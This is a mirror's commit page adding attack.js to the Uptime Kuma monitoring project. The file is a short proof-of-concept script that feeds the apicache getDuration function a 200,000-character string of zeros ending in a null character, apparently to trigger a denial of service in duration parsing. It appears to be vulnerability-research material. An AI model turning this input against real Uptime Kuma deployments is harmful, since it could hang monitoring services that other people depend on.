mirror of
https://github.com/louislam/uptime-kuma.git
synced 2025-03-15 04:30:29 +03:00
Add files via upload
add attack.js
This commit is contained in:
parent
223cde831f
commit
02f4cba9c6
1 changed files with 20 additions and 0 deletions
20
attack.js
Normal file
20
attack.js
Normal file
|
@ -0,0 +1,20 @@
|
|||
|
||||
const apicacheModule = require("./uptime-kuma-92e982a91004e8f519e21ee6a0e4d4d21ecae99c/uptime-kuma-92e982a91004e8f519e21ee6a0e4d4d21ecae99c/server/modules/apicache/apicache.js");
|
||||
|
||||
// 手动提取 parseDuration 函数
|
||||
const getDuration = apicacheModule.getDuration;
|
||||
|
||||
// ""+"00".repeat(100000)+"\u0000"
|
||||
|
||||
// 构造字符串
|
||||
const str = "" + "00".repeat(100000) + "\u0000";
|
||||
|
||||
try {
|
||||
// 调用 parseDuration 函数
|
||||
let result = getDuration(str);
|
||||
console.log(result);
|
||||
} catch (error) {
|
||||
console.error(error);
|
||||
}
|
||||
|
||||
|
Loading…
Add table
Reference in a new issue